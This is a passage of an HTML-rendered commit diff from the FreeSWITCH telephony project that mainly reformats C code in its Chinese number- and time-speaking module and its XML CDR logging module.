+                this_morning = mktime(tm2);
</ins><span class="cx"> 
</span><del>-        if (this_morning &lt;= then  &amp;&amp;  then &lt; (this_morning + 86400L))
-        {
</del><ins>+                if (this_morning &lt;= then &amp;&amp; then &lt; (this_morning + 86400L)) {
</ins><span class="cx">                         say_file(&quot;time/today.wav&quot;);
</span><del>-        }
-        else if ((this_morning - 86400L) &lt;= then  &amp;&amp;  then &lt; this_morning)
-        {
</del><ins>+                } else if ((this_morning - 86400L) &lt;= then &amp;&amp; then &lt; this_morning) {
</ins><span class="cx">                         say_file(&quot;time/yesterday.wav&quot;);
</span><del>-        }
-        else if ((this_morning + 86400L) &lt;= then  &amp;&amp;  then &lt; (this_morning + 2*86400L))
-        {
</del><ins>+                } else if ((this_morning + 86400L) &lt;= then &amp;&amp; then &lt; (this_morning + 2 * 86400L)) {
</ins><span class="cx">                         say_file(&quot;time/tomorrow.wav&quot;);
</span><del>-        }
-        else if ((this_morning - 7*86400L) &lt;= then  &amp;&amp;  then &lt; this_morning)
-        {
-                    say_file(&quot;time/day-%d.wav&quot;, tm.tm_wday);
-        }
-        else
-        {
-            if (tm2-&gt;tm_year != tm.tm_year)
-            {
-                say_num(tm.tm_year + 1900, SSM_ITERATED);
-                        say_file(&quot;time/year.wav&quot;);
-            }
-            /*endif*/
-            if (tm2-&gt;tm_year != tm.tm_year
-                ||
-                tm2-&gt;tm_mon != tm.tm_mon)
-            {
-                        say_num(tm.tm_mon + 1, SSM_PRONOUNCED);
-                        say_file(&quot;time/month.wav&quot;);
-            }
-            /*endif*/
-            /* Always say the day and the day of the week */
-                    say_num(tm.tm_mday, SSM_PRONOUNCED);
-                    say_file(&quot;time/day.wav&quot;);
-                    say_file(&quot;time/day-%d.wav&quot;, tm.tm_wday);
-        }
</del><ins>+                } else if ((this_morning - 7 * 86400L) &lt;= then &amp;&amp; then &lt; this_morning) {
+                        say_file(&quot;time/day-%d.wav&quot;, tm.tm_wday);
+                } else {
+                        if (tm2-&gt;tm_year != tm.tm_year) {
+                                say_num(tm.tm_year + 1900, SSM_ITERATED);
+                                say_file(&quot;time/year.wav&quot;);
+                        }
+                        /*endif */
+                        if (tm2-&gt;tm_year != tm.tm_year || tm2-&gt;tm_mon != tm.tm_mon) {
+                                say_num(tm.tm_mon + 1, SSM_PRONOUNCED);
+                                say_file(&quot;time/month.wav&quot;);
+                        }
+                        /*endif */
+                        /* Always say the day and the day of the week */
+                        say_num(tm.tm_mday, SSM_PRONOUNCED);
+                        say_file(&quot;time/day.wav&quot;);
+                        say_file(&quot;time/day-%d.wav&quot;, tm.tm_wday);
+                }
</ins><span class="cx"> #endif
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="lines">@@ -517,13 +485,13 @@
</span><span class="cx">                 int32_t hour = tm.tm_hour;
</span><span class="cx"> 
</span><span class="cx">                 if (hour &lt; 6) {
</span><del>-            say_file(&quot;time/morning.wav&quot;);
</del><ins>+                        say_file(&quot;time/morning.wav&quot;);
</ins><span class="cx">                 } else if (hour &lt; 12) {
</span><del>-            say_file(&quot;time/am.wav&quot;);
</del><ins>+                        say_file(&quot;time/am.wav&quot;);
</ins><span class="cx">                 } else if (tm.tm_hour &lt; 18) {
</span><del>-            say_file(&quot;time/pm.wav&quot;);
</del><ins>+                        say_file(&quot;time/pm.wav&quot;);
</ins><span class="cx">                 } else {
</span><del>-            say_file(&quot;time/evening.wav&quot;);
</del><ins>+                        say_file(&quot;time/evening.wav&quot;);
</ins><span class="cx">                 }
</span><span class="cx">                 if (hour &gt; 12)
</span><span class="cx">                         hour -= 12;
</span><span class="lines">@@ -541,7 +509,7 @@
</span><span class="cx">                 } else {
</span><span class="cx">                         say_num(tm.tm_min, SSM_PRONOUNCED);
</span><span class="cx">                 }
</span><del>-                say_file(&quot;time/minute.wav&quot;);  
</del><ins>+                say_file(&quot;time/minute.wav&quot;);
</ins><span class="cx">         }
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span></span></pre></div>
<a id="freeswitchtrunksrcmodsaymod_say_zhmod_say_zhc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/say/mod_say_zh/mod_say_zh.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/say/mod_say_zh/mod_say_zh.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/say/mod_say_zh/mod_say_zh.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -103,11 +103,11 @@
</span><span class="cx"> static char *strip_commas(char *in, char *out, switch_size_t len)
</span><span class="cx"> {
</span><span class="cx">         char *p = in;
</span><del>-    char *q = out;
</del><ins>+        char *q = out;
</ins><span class="cx">         char *ret = out;
</span><span class="cx">         switch_size_t x = 0;
</span><span class="cx"> 
</span><del>-        for ( ; p &amp;&amp; *p; p++) {
</del><ins>+        for (; p &amp;&amp; *p; p++) {
</ins><span class="cx">                 if ((*p &gt;= '0' &amp;&amp; *p &lt;= '9')) {
</span><span class="cx">                         *q++ = *p;
</span><span class="cx">                 } else if (*p != ',') {
</span><span class="lines">@@ -127,7 +127,7 @@
</span><span class="cx"> static char *strip_nonnumerics(char *in, char *out, switch_size_t len)
</span><span class="cx"> {
</span><span class="cx">         char *p = in;
</span><del>-    char *q = out;
</del><ins>+        char *q = out;
</ins><span class="cx">         char *ret = out;
</span><span class="cx">         switch_size_t x = 0;
</span><span class="cx"> 
</span><span class="lines">@@ -151,8 +151,8 @@
</span><span class="cx"> {
</span><span class="cx">         int in;
</span><span class="cx">         char sbuf[13] = &quot;&quot;;
</span><del>-    char digits[11];
-    int i;
</del><ins>+        char digits[11];
+        int i;
</ins><span class="cx"> 
</span><span class="cx">         if (!(tosay = strip_commas(tosay, sbuf, sizeof(sbuf))) || strlen(tosay) &gt; 9) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Parse Error!\n&quot;);
</span><span class="lines">@@ -168,107 +168,83 @@
</span><span class="cx">                         say_file(&quot;digits/ordinal.wav&quot;);
</span><span class="cx">                         /* Fall through */
</span><span class="cx">                 case SSM_PRONOUNCED:
</span><del>-            for (i = 0;  i &lt;= 9;  i++)
-            {
-                switch (i)
-                {
-                case 0:
-                    /* Billions column */
-                    if (digits[i] != '0')
-                    {
-                        if (digits[i] != '1')
-                                    say_file(&quot;digits/%c.wav&quot;, digits[i]);
-                                  say_file(&quot;digits/10.wav&quot;);
-                    }
-                    break;
-                case 1:
-                    /* Hundred millions columns */
-                    if (digits[i] != '0')
-                                   say_file(&quot;digits/%c.wav&quot;, digits[i]);
-                    if (memcmp (digits, &quot;00&quot;, 2) != 0)
-                                  say_file(&quot;digits/100000000.wav&quot;);
-                    break;
-                case 2:
-                case 6:
-                    /* Ten millions or thousands column */
-                    if (digits[i] != '0')
-                    {
-                                   say_file(&quot;digits/%c.wav&quot;, digits[i]);
-                                  say_file(&quot;digits/1000.wav&quot;);
-                    }
-                    break;
-                case 3:
-                case 7:
-                    /* Millions or hundreds column */
-                    if (digits[i] != '0')
-                    {
-                                   say_file(&quot;digits/%c.wav&quot;, digits[i]);
-                                   say_file(&quot;digits/100.wav&quot;);
-                    }
-                    break;
-                case 4:
-                    /* Hundred thousands column */
-                    if (digits[i] != '0')
-                    {
-                        if (digits[i] != '1'
-                            ||
-                            memcmp (digits, &quot;0000&quot;, 4) != 0)
-                        {
-                                       say_file(&quot;digits/%c.wav&quot;, digits[i]);
-                        }
-                    }
-                    else
-                    {
-                        if (digits[i + 1] != '0'
-                            &amp;&amp;
-                            memcmp (digits, &quot;0000&quot;, 4) != 0)
-                        {
-                                       say_file(&quot;digits/%c.wav&quot;, digits[i]);
-                        }
-                    }
-                    if (digits[i] != '0')
-                                   say_file(&quot;digits/10.wav&quot;);
-                    break;
-        
-                case 5:
-                    /* Ten thousands column */
-                    if (digits[i] != '0')
-                    {
-                                   say_file(&quot;digits/%c.wav&quot;, digits[i]);
-                        if (memcmp (digits + 2, &quot;0000&quot;, 4) != 0)
-                                       say_file(&quot;digits/10000.wav&quot;);
-                    }
-                    break;
-                case 8:
-                    /* Tens column */
-                    if (digits[i] != '0')
-                    {
-                        if (digits[i] != '1'
-                            ||
-                            memcmp (digits, &quot;00000000&quot;, 8) != 0)
-                        {
-                                       say_file(&quot;digits/%c.wav&quot;, digits[i]);
-                        }
-                    }
-                    else
-                    {
-                        if (digits[9] != '0'
-                            &amp;&amp;
-                            memcmp (digits, &quot;00000000&quot;, 8) != 0)
-                        {
-                                       say_file(&quot;digits/%c.wav&quot;, digits[i]);
-                        }
-                    }
-                    if (digits[8] != '0')
-                                   say_file(&quot;digits/10.wav&quot;);
-                    break;
-                case 9:
-                    /* Units column */
-                    if (digits[9] != '0')
-                                   say_file(&quot;digits/%c.wav&quot;, digits[i]);
-                    break;
-                }
-            }
</del><ins>+                        for (i = 0; i &lt;= 9; i++) {
+                                switch (i) {
+                                case 0:
+                                        /* Billions column */
+                                        if (digits[i] != '0') {
+                                                if (digits[i] != '1')
+                                                        say_file(&quot;digits/%c.wav&quot;, digits[i]);
+                                                say_file(&quot;digits/10.wav&quot;);
+                                        }
+                                        break;
+                                case 1:
+                                        /* Hundred millions columns */
+                                        if (digits[i] != '0')
+                                                say_file(&quot;digits/%c.wav&quot;, digits[i]);
+                                        if (memcmp(digits, &quot;00&quot;, 2) != 0)
+                                                say_file(&quot;digits/100000000.wav&quot;);
+                                        break;
+                                case 2:
+                                case 6:
+                                        /* Ten millions or thousands column */
+                                        if (digits[i] != '0') {
+                                                say_file(&quot;digits/%c.wav&quot;, digits[i]);
+                                                say_file(&quot;digits/1000.wav&quot;);
+                                        }
+                                        break;
+                                case 3:
+                                case 7:
+                                        /* Millions or hundreds column */
+                                        if (digits[i] != '0') {
+                                                say_file(&quot;digits/%c.wav&quot;, digits[i]);
+                                                say_file(&quot;digits/100.wav&quot;);
+                                        }
+                                        break;
+                                case 4:
+                                        /* Hundred thousands column */
+                                        if (digits[i] != '0') {
+                                                if (digits[i] != '1' || memcmp(digits, &quot;0000&quot;, 4) != 0) {
+                                                        say_file(&quot;digits/%c.wav&quot;, digits[i]);
+                                                }
+                                        } else {
+                                                if (digits[i + 1] != '0' &amp;&amp; memcmp(digits, &quot;0000&quot;, 4) != 0) {
+                                                        say_file(&quot;digits/%c.wav&quot;, digits[i]);
+                                                }
+                                        }
+                                        if (digits[i] != '0')
+                                                say_file(&quot;digits/10.wav&quot;);
+                                        break;
+
+                                case 5:
+                                        /* Ten thousands column */
+                                        if (digits[i] != '0') {
+                                                say_file(&quot;digits/%c.wav&quot;, digits[i]);
+                                                if (memcmp(digits + 2, &quot;0000&quot;, 4) != 0)
+                                                        say_file(&quot;digits/10000.wav&quot;);
+                                        }
+                                        break;
+                                case 8:
+                                        /* Tens column */
+                                        if (digits[i] != '0') {
+                                                if (digits[i] != '1' || memcmp(digits, &quot;00000000&quot;, 8) != 0) {
+                                                        say_file(&quot;digits/%c.wav&quot;, digits[i]);
+                                                }
+                                        } else {
+                                                if (digits[9] != '0' &amp;&amp; memcmp(digits, &quot;00000000&quot;, 8) != 0) {
+                                                        say_file(&quot;digits/%c.wav&quot;, digits[i]);
+                                                }
+                                        }
+                                        if (digits[8] != '0')
+                                                say_file(&quot;digits/10.wav&quot;);
+                                        break;
+                                case 9:
+                                        /* Units column */
+                                        if (digits[9] != '0')
+                                                say_file(&quot;digits/%c.wav&quot;, digits[i]);
+                                        break;
+                                }
+                        }
</ins><span class="cx">                         break;
</span><span class="cx">                 case SSM_ITERATED:
</span><span class="cx">                         {
</span><span class="lines">@@ -327,10 +303,7 @@
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static switch_status_t zh_say_time(switch_core_session_t *session,
</span><del>-                                                                   char *tosay,
-                                                                   switch_say_type_t type,
-                                                                   switch_say_method_t method,
-                                                                   switch_input_args_t *args)
</del><ins>+                                                                   char *tosay, switch_say_type_t type, switch_say_method_t method, switch_input_args_t *args)
</ins><span class="cx"> {
</span><span class="cx">         int32_t t;
</span><span class="cx">         switch_time_t target = 0;
</span><span class="lines">@@ -340,7 +313,7 @@
</span><span class="cx">         switch_time_exp_t tm2;
</span><span class="cx"> #endif
</span><span class="cx">         uint8_t say_date = 0;
</span><del>-    uint8_t say_time = 0;
</del><ins>+        uint8_t say_time = 0;
</ins><span class="cx"> 
</span><span class="cx">         if (type == SST_TIME_MEASUREMENT) {
</span><span class="cx">                 int64_t hours = 0;
</span><span class="lines">@@ -386,16 +359,16 @@
</span><span class="cx">                 if (hours) {
</span><span class="cx">                         if (hours == 2) {
</span><span class="cx">                                 say_file(&quot;time/2s.wav&quot;);
</span><del>-                         } else {
-                            say_num(hours, SSM_PRONOUNCED);
</del><ins>+                        } else {
+                                say_num(hours, SSM_PRONOUNCED);
</ins><span class="cx">                         }
</span><span class="cx">                         say_file(&quot;time/hours.wav&quot;);
</span><span class="cx">                 }
</span><span class="cx">                 if (minutes) {
</span><span class="cx">                         if (minutes == 2) {
</span><span class="cx">                                 say_file(&quot;time/2s.wav&quot;);
</span><del>-                         } else {
-                            say_num(minutes, SSM_PRONOUNCED);
</del><ins>+                        } else {
+                                say_num(minutes, SSM_PRONOUNCED);
</ins><span class="cx">                         }
</span><span class="cx">                         say_file(&quot;time/minute.wav&quot;);
</span><span class="cx">                 } else {
</span><span class="lines">@@ -408,12 +381,12 @@
</span><span class="cx">                 if (seconds) {
</span><span class="cx">                         if (seconds == 2) {
</span><span class="cx">                                 say_file(&quot;time/2s.wav&quot;);
</span><del>-                         } else {
-                            say_num(hours, SSM_PRONOUNCED);
</del><ins>+                        } else {
+                                say_num(hours, SSM_PRONOUNCED);
</ins><span class="cx">                         }
</span><span class="cx">                         say_file(&quot;time/seconds.wav&quot;);
</span><span class="cx">                 } else {
</span><del>-                        if (hours  ||  minutes) {
</del><ins>+                        if (hours || minutes) {
</ins><span class="cx">                                 say_file(&quot;digits/0.wav&quot;);
</span><span class="cx">                                 say_file(&quot;time/second.wav&quot;);
</span><span class="cx">                         }
</span><span class="lines">@@ -430,8 +403,7 @@
</span><span class="cx"> 
</span><span class="cx">         switch (type) {
</span><span class="cx">         case SST_CURRENT_DATE_TIME:
</span><del>-                say_date =
-                say_time = 1;
</del><ins>+                say_date = say_time = 1;
</ins><span class="cx">                 break;
</span><span class="cx">         case SST_CURRENT_DATE:
</span><span class="cx">                 say_date = 1;
</span><span class="lines">@@ -444,7 +416,7 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (say_date) {
</span><del>-        say_num(tm.tm_year + 1900, SSM_ITERATED);
</del><ins>+                say_num(tm.tm_year + 1900, SSM_ITERATED);
</ins><span class="cx">                 say_file(&quot;time/year.wav&quot;);
</span><span class="cx">                 say_num(tm.tm_mon + 1, SSM_PRONOUNCED);
</span><span class="cx">                 say_file(&quot;time/month.wav&quot;);
</span><span class="lines">@@ -453,52 +425,39 @@
</span><span class="cx">                 say_file(&quot;time/day-%d.wav&quot;, tm.tm_wday);
</span><span class="cx"> 
</span><span class="cx"> #if 0
</span><del>-        tm = *localtime(&amp;then);
</del><ins>+                tm = *localtime(&amp;then);
</ins><span class="cx"> 
</span><del>-        this_morning = switch_micro_time_now();
-            switch_time_exp_lt(&amp;tm2, this_morning);
-        tm2-&gt;tm_hour = 0;
-        tm2-&gt;tm_min = 0;
-        tm2-&gt;tm_sec = 0;
-        this_morning = mktime(tm2);
</del><ins>+                this_morning = switch_micro_time_now();
+                switch_time_exp_lt(&amp;tm2, this_morning);
+                tm2-&gt;tm_hour = 0;
+                tm2-&gt;tm_min = 0;
+                tm2-&gt;tm_sec = 0;
+                this_morning = mktime(tm2);
</ins><span class="cx"> 
</span><del>-        if (this_morning &lt;= then  &amp;&amp;  then &lt; (this_morning + 86400L))
-        {
</del><ins>+                if (this_morning &lt;= then &amp;&amp; then &lt; (this_morning + 86400L)) {
</ins><span class="cx">                         say_file(&quot;time/today.wav&quot;);
</span><del>-        }
-        else if ((this_morning - 86400L) &lt;= then  &amp;&amp;  then &lt; this_morning)
-        {
</del><ins>+                } else if ((this_morning - 86400L) &lt;= then &amp;&amp; then &lt; this_morning) {
</ins><span class="cx">                         say_file(&quot;time/yesterday.wav&quot;);
</span><del>-        }
-        else if ((this_morning + 86400L) &lt;= then  &amp;&amp;  then &lt; (this_morning + 2*86400L))
-        {
</del><ins>+                } else if ((this_morning + 86400L) &lt;= then &amp;&amp; then &lt; (this_morning + 2 * 86400L)) {
</ins><span class="cx">                         say_file(&quot;time/tomorrow.wav&quot;);
</span><del>-        }
-        else if ((this_morning - 7*86400L) &lt;= then  &amp;&amp;  then &lt; this_morning)
-        {
-                    say_file(&quot;time/day-%d.wav&quot;, tm.tm_wday);
-        }
-        else
-        {
-            if (tm2-&gt;tm_year != tm.tm_year)
-            {
-                say_num(tm.tm_year + 1900, SSM_ITERATED);
-                        say_file(&quot;time/year.wav&quot;);
-            }
-            /*endif*/
-            if (tm2-&gt;tm_year != tm.tm_year
-                ||
-                tm2-&gt;tm_mon != tm.tm_mon)
-            {
-                        say_num(tm.tm_mon + 1, SSM_PRONOUNCED);
-                        say_file(&quot;time/month.wav&quot;);
-            }
-            /*endif*/
-            /* Always say the day and the day of the week */
-                    say_num(tm.tm_mday, SSM_PRONOUNCED);
-                    say_file(&quot;time/day.wav&quot;);
-                    say_file(&quot;time/day-%d.wav&quot;, tm.tm_wday);
-        }
</del><ins>+                } else if ((this_morning - 7 * 86400L) &lt;= then &amp;&amp; then &lt; this_morning) {
+                        say_file(&quot;time/day-%d.wav&quot;, tm.tm_wday);
+                } else {
+                        if (tm2-&gt;tm_year != tm.tm_year) {
+                                say_num(tm.tm_year + 1900, SSM_ITERATED);
+                                say_file(&quot;time/year.wav&quot;);
+                        }
+                        /*endif */
+                        if (tm2-&gt;tm_year != tm.tm_year || tm2-&gt;tm_mon != tm.tm_mon) {
+                                say_num(tm.tm_mon + 1, SSM_PRONOUNCED);
+                                say_file(&quot;time/month.wav&quot;);
+                        }
+                        /*endif */
+                        /* Always say the day and the day of the week */
+                        say_num(tm.tm_mday, SSM_PRONOUNCED);
+                        say_file(&quot;time/day.wav&quot;);
+                        say_file(&quot;time/day-%d.wav&quot;, tm.tm_wday);
+                }
</ins><span class="cx"> #endif
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="lines">@@ -506,13 +465,13 @@
</span><span class="cx">                 int32_t hour = tm.tm_hour;
</span><span class="cx"> 
</span><span class="cx">                 if (hour &lt; 6) {
</span><del>-            say_file(&quot;time/morning.wav&quot;);
</del><ins>+                        say_file(&quot;time/morning.wav&quot;);
</ins><span class="cx">                 } else if (hour &lt; 12) {
</span><del>-            say_file(&quot;time/am.wav&quot;);
</del><ins>+                        say_file(&quot;time/am.wav&quot;);
</ins><span class="cx">                 } else if (tm.tm_hour &lt; 18) {
</span><del>-            say_file(&quot;time/pm.wav&quot;);
</del><ins>+                        say_file(&quot;time/pm.wav&quot;);
</ins><span class="cx">                 } else {
</span><del>-            say_file(&quot;time/evening.wav&quot;);
</del><ins>+                        say_file(&quot;time/evening.wav&quot;);
</ins><span class="cx">                 }
</span><span class="cx">                 if (hour &gt; 12)
</span><span class="cx">                         hour -= 12;
</span><span class="lines">@@ -530,7 +489,7 @@
</span><span class="cx">                 } else {
</span><span class="cx">                         say_num(tm.tm_min, SSM_PRONOUNCED);
</span><span class="cx">                 }
</span><del>-                say_file(&quot;time/minute.wav&quot;);  
</del><ins>+                say_file(&quot;time/minute.wav&quot;);
</ins><span class="cx">         }
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span></span></pre></div>
<a id="freeswitchtrunksrcmodxml_intmod_xml_cdrmod_xml_cdrc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/xml_int/mod_xml_cdr/mod_xml_cdr.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/xml_int/mod_xml_cdr/mod_xml_cdr.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/xml_int/mod_xml_cdr/mod_xml_cdr.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -42,7 +42,7 @@
</span><span class="cx"> 
</span><span class="cx"> static struct {
</span><span class="cx">         char *cred;
</span><del>-        char *urls[MAX_URLS+1];
</del><ins>+        char *urls[MAX_URLS + 1];
</ins><span class="cx">         int url_count;
</span><span class="cx">         int url_index;
</span><span class="cx">         switch_thread_rwlock_t *log_path_lock;
</span><span class="lines">@@ -110,27 +110,23 @@
</span><span class="cx">                                         switch_safe_free(globals.log_dir);
</span><span class="cx">                                         globals.log_dir = path;
</span><span class="cx">                                         switch_thread_rwlock_unlock(globals.log_path_lock);
</span><del>-                                }
-                                else {
</del><ins>+                                } else {
</ins><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Failed to create new mod_xml_cdr log_dir path\n&quot;);
</span><span class="cx">                                         switch_safe_free(path);
</span><span class="cx">                                         status = SWITCH_STATUS_FALSE;
</span><span class="cx">                                 }
</span><del>-                        }
-                        else {
</del><ins>+                        } else {
</ins><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Failed to generate new mod_xml_cdr log_dir path\n&quot;);
</span><span class="cx">                                 status = SWITCH_STATUS_FALSE;
</span><span class="cx">                         }
</span><del>-                }
-                else {
</del><ins>+                } else {
</ins><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, &quot;Setting log file path to %s\n&quot;, globals.base_log_dir);
</span><span class="cx">                         if ((path = switch_safe_strdup(globals.base_log_dir))) {
</span><span class="cx">                                 switch_thread_rwlock_wrlock(globals.log_path_lock);
</span><span class="cx">                                 switch_safe_free(globals.log_dir);
</span><span class="cx">                                 globals.log_dir = path;
</span><span class="cx">                                 switch_thread_rwlock_unlock(globals.log_path_lock);
</span><del>-                        }
-                        else {
</del><ins>+                        } else {
</ins><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Failed to set log_dir path\n&quot;);
</span><span class="cx">                                 status = SWITCH_STATUS_FALSE;
</span><span class="cx">                         }
</span><span class="lines">@@ -152,27 +148,23 @@
</span><span class="cx">                                         switch_safe_free(globals.err_log_dir);
</span><span class="cx">                                         globals.err_log_dir = path;
</span><span class="cx">                                         switch_thread_rwlock_unlock(globals.log_path_lock);
</span><del>-                                }
-                                else {
</del><ins>+                                } else {
</ins><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Failed to create new mod_xml_cdr err_log_dir path\n&quot;);
</span><span class="cx">                                         switch_safe_free(path);
</span><span class="cx">                                         status = SWITCH_STATUS_FALSE;
</span><span class="cx">                                 }
</span><del>-                        }
-                        else {
</del><ins>+                        } else {
</ins><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Failed to generate new mod_xml_cdr err_log_dir path\n&quot;);
</span><span class="cx">                                 status = SWITCH_STATUS_FALSE;
</span><span class="cx">                         }
</span><del>-                }
-                else {
</del><ins>+                } else {
</ins><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, &quot;Setting err log file path to %s\n&quot;, globals.base_err_log_dir);
</span><span class="cx">                         if ((path = switch_safe_strdup(globals.base_err_log_dir))) {
</span><span class="cx">                                 switch_thread_rwlock_wrlock(globals.log_path_lock);
</span><span class="cx">                                 switch_safe_free(globals.err_log_dir);
</span><span class="cx">                                 globals.err_log_dir = path;
</span><span class="cx">                                 switch_thread_rwlock_unlock(globals.log_path_lock);
</span><del>-                        }
-                        else {
</del><ins>+                        } else {
</ins><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Failed to set err_log_dir path\n&quot;);
</span><span class="cx">                                 status = SWITCH_STATUS_FALSE;
</span><span class="cx">                         }
</span><span class="lines">@@ -199,7 +191,7 @@
</span><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_FALSE;
</span><span class="cx">         int is_b;
</span><del>-        const char * a_prefix = &quot;&quot;;
</del><ins>+        const char *a_prefix = &quot;&quot;;
</ins><span class="cx"> 
</span><span class="cx">         if (globals.shutdown) {
</span><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -209,7 +201,8 @@
</span><span class="cx">         if (!globals.log_b &amp;&amp; is_b) {
</span><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><del>-        if (!is_b &amp;&amp; globals.prefix_a) a_prefix = &quot;a_&quot;;
</del><ins>+        if (!is_b &amp;&amp; globals.prefix_a)
+                a_prefix = &quot;a_&quot;;
</ins><span class="cx"> 
</span><span class="cx">         if (switch_ivr_generate_xml_cdr(session, &amp;cdr) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Error Generating Data!\n&quot;);
</span><span class="lines">@@ -236,7 +229,7 @@
</span><span class="cx"> #ifdef _MSC_VER
</span><span class="cx">                         if ((fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, S_IRUSR | S_IWUSR)) &gt; -1) {
</span><span class="cx"> #else
</span><del>-                        if ((fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, S_IRUSR | S_IWUSR| S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH)) &gt; -1) {
</del><ins>+                        if ((fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH)) &gt; -1) {
</ins><span class="cx"> #endif
</span><span class="cx">                                 int wrote;
</span><span class="cx">                                 wrote = write(fd, xml_text, (unsigned) strlen(xml_text));
</span><span class="lines">@@ -253,14 +246,13 @@
</span><span class="cx">                         }
</span><span class="cx">                         switch_safe_free(path);
</span><span class="cx">                 }
</span><del>-        }
-        else {
</del><ins>+        } else {
</ins><span class="cx">                 switch_thread_rwlock_unlock(globals.log_path_lock);
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         /* try to post it to the web server */
</span><span class="cx">         if (globals.url_count) {
</span><del>-                char* destUrl = NULL;
</del><ins>+                char *destUrl = NULL;
</ins><span class="cx">                 curl_handle = curl_easy_init();
</span><span class="cx"> 
</span><span class="cx">                 if (globals.encode == ENCODING_TEXTXML) {
</span><span class="lines">@@ -306,19 +298,19 @@
</span><span class="cx">                         slist = curl_slist_append(slist, &quot;Expect:&quot;);
</span><span class="cx">                         curl_easy_setopt(curl_handle, CURLOPT_HTTPHEADER, slist);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (globals.ssl_cert_file) {
</span><span class="cx">                         curl_easy_setopt(curl_handle, CURLOPT_SSLCERT, globals.ssl_cert_file);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (globals.ssl_key_file) {
</span><span class="cx">                         curl_easy_setopt(curl_handle, CURLOPT_SSLKEY, globals.ssl_key_file);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (globals.ssl_key_password) {
</span><span class="cx">                         curl_easy_setopt(curl_handle, CURLOPT_SSLKEYPASSWD, globals.ssl_key_password);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (globals.ssl_version) {
</span><span class="cx">                         if (!strcasecmp(globals.ssl_version, &quot;SSLv3&quot;)) {
</span><span class="cx">                                 curl_easy_setopt(curl_handle, CURLOPT_SSLVERSION, CURL_SSLVERSION_SSLv3);
</span><span class="lines">@@ -326,7 +318,7 @@
</span><span class="cx">                                 curl_easy_setopt(curl_handle, CURLOPT_SSLVERSION, CURL_SSLVERSION_TLSv1);
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (globals.ssl_cacert_file) {
</span><span class="cx">                         curl_easy_setopt(curl_handle, CURLOPT_CAINFO, globals.ssl_cacert_file);
</span><span class="cx">                 }
</span><span class="lines">@@ -340,7 +332,7 @@
</span><span class="cx">                         if (cur_try &gt; 0) {
</span><span class="cx">                                 switch_yield(globals.delay * 1000000);
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         destUrl = switch_mprintf(&quot;%s?uuid=%s&quot;, globals.urls[globals.url_index], switch_core_session_get_uuid(session));
</span><span class="cx">                         curl_easy_setopt(curl_handle, CURLOPT_URL, destUrl);
</span><span class="cx"> 
</span><span class="lines">@@ -348,11 +340,11 @@
</span><span class="cx">                                 curl_easy_setopt(curl_handle, CURLOPT_SSL_VERIFYPEER, 0);
</span><span class="cx">                                 curl_easy_setopt(curl_handle, CURLOPT_SSL_VERIFYHOST, 0);
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (globals.enable_cacert_check) {
